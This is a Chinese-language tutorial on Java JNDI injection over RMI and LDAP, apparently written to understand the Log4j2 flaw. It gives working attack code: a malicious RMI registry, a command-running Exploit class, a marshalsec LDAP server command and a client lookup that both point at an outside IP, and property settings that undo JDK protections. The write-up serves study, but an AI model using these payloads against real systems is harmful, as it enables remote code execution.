JNDI注入(RMI攻击实现和LDAP攻击实现)

0x01 JNDI

概述
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)
简单一点理解就是:JNDI的做法,就是定义一个数据源,与系统外部的资源的引用 都可以通过JNDI定义和引用

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。

在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、LDAP这些概念。
其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口,它和反序列化漏洞有着千丝万缕的联系。
在2016年的BlackHat上,@pwntester分享了通过JNDI注入进行RCE利用的方法。这一利用方式在2016年的spring-tx.jar反序列化漏洞和2017年FastJson反序列化漏洞利用等多个场景中均有出现,由于时间原因笔者还没有研究fastjson的漏洞,从log4j2漏洞爆出后,为研究其中的原理,才有此文

JNDI结构

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

0x02 JNDI底层类

InitialContext类

构造方法
	InitialContext() 
	构建一个初始上下文。
	代码:
		InitialContext initialContext = new InitialContext();
		在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法:
	bind(Name name, Object obj) 
	    将名称绑定到对象。 
	list(String name) 
	    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
	lookup(String name) 
	    检索命名对象。 
	rebind(String name, Object obj) 
	    将名称绑定到对象,覆盖任何现有绑定。 
	unbind(String name) 
	    取消绑定命名对象。
	代码:
		package com.rmi.demo;
		import javax.naming.InitialContext;
		import javax.naming.NamingException;
		public class jndi {
		    public static void main(String[] args) throws NamingException {
		        String uri = "rmi://127.0.0.1:1099/work";
		        InitialContext initialContext = new InitialContext();
		        initialContext.lookup(uri);
		    }
		}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
	Reference(String className) 
	    为类名为“className”的对象构造一个新的引用。  
	Reference(String className, RefAddr addr) 
	    为类名为“className”的对象和地址构造一个新引用。  
	Reference(String className, RefAddr addr, String factory, String factoryLocation) 
	    为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
	Reference(String className, String factory, String factoryLocation) 
	    为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
	代码:
		String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);
        	参数1:className – 远程加载时所使用的类名
			参数2:classFactory – 加载的class中需要实例化类的名称
			参数3:classFactoryLocation – 提供classes数据的地址可以是file/ftp/http协议
	常用方法:
		void add(int posn, RefAddr addr) 
		    将地址添加到索引posn的地址列表中。  
		void add(RefAddr addr) 
		    将地址添加到地址列表的末尾。  
		void clear() 
		    从此引用中删除所有地址。  
		RefAddr get(int posn) 
		    检索索引posn上的地址。  
		RefAddr get(String addrType) 
		    检索地址类型为“addrType”的第一个地址。  
		Enumeration<RefAddr> getAll() 
		    检索本参考文献中地址的列举。  
		String getClassName() 
		    检索引用引用的对象的类名。  
		String getFactoryClassLocation() 
		    检索此引用引用的对象的工厂位置。  
		String getFactoryClassName() 
		    检索此引用引用对象的工厂的类名。    
		Object remove(int posn) 
		    从地址列表中删除索引posn上的地址。  
		int size() 
		    检索此引用中的地址数。  
		String toString() 
		    生成此引用的字符串表示形式。	

0x03JNDI注入攻击

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

    }
}

在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。
JNDI+RMI实现攻击

RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法

package com.rmi.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

服务端的代码是这样的,意思是,注册一个rmi服务,端口为1099,自己的实现类为url的部分,最后去绑定(bind)这个服务为一个名字
下面还需要一段执行命令的代码,挂载在web页面上让server端去请求

package com.rmi.jndi;
import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");

    }
}

RMIClient代码:

package com.rmi.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

原理其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。
JNDI+LDAP实现攻击

LDAP概念:轻型目录访问协议是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息

除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

围绕JNDI LDAP注入,图是偷的,看这个图就感觉很清晰
在这里插入图片描述
操作和rmi大体类似:
恶意类:Exploit.java:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch (IOException e){
            e.printStackTrace();
        }

    }

    public static void main(String[] args){
        Exploit exploit = new Exploit();
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

编译成class文件即可.
使用marshalsec构建ldap服务,服务端监听:

/root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666

客户端发起ldap请求:
客户端代码:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("ldap://119.45.227.86:6666/a");
    }
}

踩坑,自己搭建ldap利用环境的时候,出现了先不到类名foo,肯能是高版本jdk限制的原因
rmi和ldap的利用可执行恶意代码,可升级高版本jdk,高版本jdk的限制是把com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.ldap.object.trustURLCodebase 的默认值变为false

如果想使用,修改如下:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

在log4j2漏洞中,如果设置了这两个属性为false,但是使用${java:os}或者其他的变量还是可以输出Java平台信息,版本信息,虚拟机信息等
后续再有新的理解,再继续更新

参考:
https://www.anquanke.com/post/id/221917#h2-7
http://m0d9.me/2020/07/23/JNDI-LDAP%20%E6%B3%A8%E5%85%A5%E5%8F%8A%E9%AB%98%E7%89%88%E6%9C%ACJDK%E9%99%90%E5%88%B6%E2%80%94%E2%80%94%E4%B8%8A/
https://www.bilibili.com/video/BV18U4y1K72L?spm_id_from=333.999.0.0

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>